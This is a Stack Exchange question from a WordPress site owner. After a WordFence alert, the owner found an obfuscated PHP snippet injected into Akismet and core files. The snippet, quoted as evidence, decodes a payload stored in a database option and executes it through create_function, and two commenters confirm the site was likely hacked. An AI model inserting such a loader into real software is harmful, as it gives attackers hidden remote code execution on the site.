Take the 2-minute tour ×
WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.

Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed:

  • WordPress core file modified: wp-content/plugins/akismet/admin.php
  • WordPress core file modified: wp-content/plugins/akismet/akismet.php
  • WordPress core file modified: wp-content/plugins/akismet/index.php
  • WordPress core file modified: wp-content/plugins/akismet/legacy.php
  • WordPress core file modified: wp-content/plugins/akismet/widget.php
  • WordPress core file modified: wp-includes/default-filters.php
  • WordPress core file modified: wp-includes/l10n.php
  • WordPress core file modified: wp-includes/vars.php

I diff'ed each of these against files from a fresh WordPress download and the following was added to all the files above:

$z=get_option("_site_transient_browser_3167ad50dece0d31baf9df53cf730799"); $z=base64_decode(str_rot13($z)); if(strpos($z,"42A2E9D4")!==false){ $_z=create_function("",$z); @$_z(); }

The site is running the latest version of WordPress and Akismet, file permissions are correct and the site appears the functioning normally.

Does anyone know where this code comes from? Was my site hacked?

share|improve this question
    
Obfuscated code = most probably yes. –  RRikesh May 16 '13 at 7:42
    
By the looks of it someone has indeed been writing to your WordPress files. –  t31os May 16 '13 at 7:53
add comment

Know someone who can answer? Share a link to this question via email, Google+, Twitter, or Facebook.

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Browse other questions tagged or ask your own question.